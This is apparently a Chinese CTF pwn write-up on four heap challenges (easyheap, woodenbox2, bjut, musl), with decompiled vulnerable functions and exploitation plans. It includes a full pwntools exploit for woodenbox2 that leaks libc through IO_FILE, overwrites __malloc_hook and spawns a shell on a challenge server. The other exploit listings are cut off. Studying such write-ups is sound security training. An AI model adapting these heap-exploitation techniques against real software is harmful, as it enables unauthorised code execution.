easyheap
程序没开PIE,got表可写
漏洞点
ptr[v1]清零了,但*(void **)ptr[v1]没有清零。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15int sub_4009E4()
{
int v1; // [rsp+Ch] [rbp-4h]
if ( ++dword_6020AC > 4 )
return puts("Delete failed.");
puts("What is the index of the item to be deleted?");
v1 = sub_400890();
if ( v1 < 0 || v1 > 6 || !ptr[v1] )
return puts("Delete failed.");
free(*(void **)ptr[v1]);
free(ptr[v1]);
ptr[v1] = 0LL;
return puts("Delete successfully.");
}
思路
首先申请俩次堆块都是0x10,然后free掉,看到add函数里是先进行malloc(0x10),然后在做check,然后再申请check(0x400),所以由于free之后会残留指针,在free掉俩个堆块之后,故意输入大数字让他check size fail直接返回,然后申请一个0x10的堆块就可以实现堆块重叠。通过edit前俩次的堆块来覆盖最后一次malloc的堆块的ptr指针来指向chunk_list的位置,然后伪造chunk结构指向got,并且show一下就可以知道libc了,然后修改free_got为system然后free一个内容为/bin/sh的堆块就可以开启shell。
exp
1 | #!/usr/bin/env python |
woodenbox2
got表可写,其余保护全开
漏洞点
change_item()函数里面没有对size做限制,堆溢出。
思路
题目难点在于没有输出功能,需要打io_file泄露libc基址。然后fastbin attack 打malloc_hook,这里onegadget失效,用realloc 调整偏移即可。
iofile泄露原理可参考EX师傅博客http://blog.eonew.cn/archives/1190
exp
成功率 16分之一1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
#context.log_level = 'debug'
#context.terminal = ['tmux', 'sp', '-h', '-l', '110']
def exp():
try:
if sys.argv[1]=="l":
io=process('./woodenbox2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io=remote('121.36.215.224',9998)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./woodenbox2')
def choice(idx):
io.sendlineafter('Your choice:', str(idx))
def add(size, content):
choice(1)
io.sendlineafter(':', str(size))
io.sendafter(':', content)
def free(idx):
choice(3)
io.sendlineafter(':',str(idx))
def edit(idx,size, content):
choice(2)
io.sendlineafter(':',str(idx))
io.sendlineafter(':',str(size))
io.sendafter(':', content)
# ------------------------------------------------
iofile_off = [0x25dd,0xf5eb] #_IO_2_1_stderr_+157
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# ------------------------------------------------
add(0x20,'aaaa')#0
add(0x40,'aaaa')#1
add(0x60,'aaaa')#2
add(0xa0,'aaaa')#3
edit(0,0x40,'a'*0x20+p64(0)+p64(0xc1))
free(1) #1
free(1) #2
add(0x40,'bbbb') #0
edit(0,0x60,'a'*0x40+p64(0)+p64(0x71)+p16(iofile_off[0]))
add(0x60,'aaaa') # 2
add(0x60,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00") #3
io.recv(0x40)
leak=u64(io.recv(8))
info(hex(leak))
libc.address = leak-(0x7f35bc64a600-0x7f35bc285000)
log.success(hex(libc.address))
malloc_hook = libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
one = libc.address+onegadgets[1]
log.success(hex(malloc_hook))
add(0x60,'cccc')#4
add(0x60,'dddd')#5
free(5)
edit(0,0x100,0xa0*'\x17'+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'bbbb')
add(0x60,'d'*0xb+p64(one)+p64(libc.symbols["realloc"]+13))
choice(1)
io.sendlineafter(':', str(60))
io.interactive()
except Exception as e:
print(e)
io.close()
while True:
exp()
bjut
got表可写,pie没开
漏洞点
show 和 edit功能,可以输入负数,造成数组上溢。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19unsigned __int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("The index of your hw:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 15 && qword_404140[v1] )
{
puts("Input your hw:");
read(0, qword_404140[v1], dword_4040E0[v1]);
}
else
{
puts("out of range!");
}
return __readfsqword(0x28u) ^ v2;
}
思路
通过数组上溢泄露free_got内容,然后修改 free_got为system,然后释放/bin/sh的堆块
exp
musl
做这个题的时候当时是蒙的,使用的是musl libc跟平时的glibc有很大差异。其中最大的差异是muls不支持延迟绑定,没有 malloc_hook等
具体参考 https://my.oschina.net/u/2306127/blog/1592004
漏洞点
add功能有一次堆溢出的机会
思路
溢出修改size然后free造成overlapping
free时检查了in_use和下一个chunk的prev_size,提前伪造好prev_size
overlapping后再取出来,可以uaf,free chunk的链表头部在libc,uaf之后show泄露libc地址,然后edit把fd和bk改为0x602030,利用双向链表写fd bk的操作把一个堆地址写入0x602040,将heap_store劫持到堆上,实现任意地址读写
show和edit的次数有限制,但是可以通过任意地址读写覆盖计数器
got plt都不可写,没有hook
可以通过任意地址读写改写栈,getshell
利用任意地址读,读libc中的environ泄露栈地址,算出栈顶地址,然后利用任意地址写覆盖返回地址
exp
1 | #!/usr/bin/env python |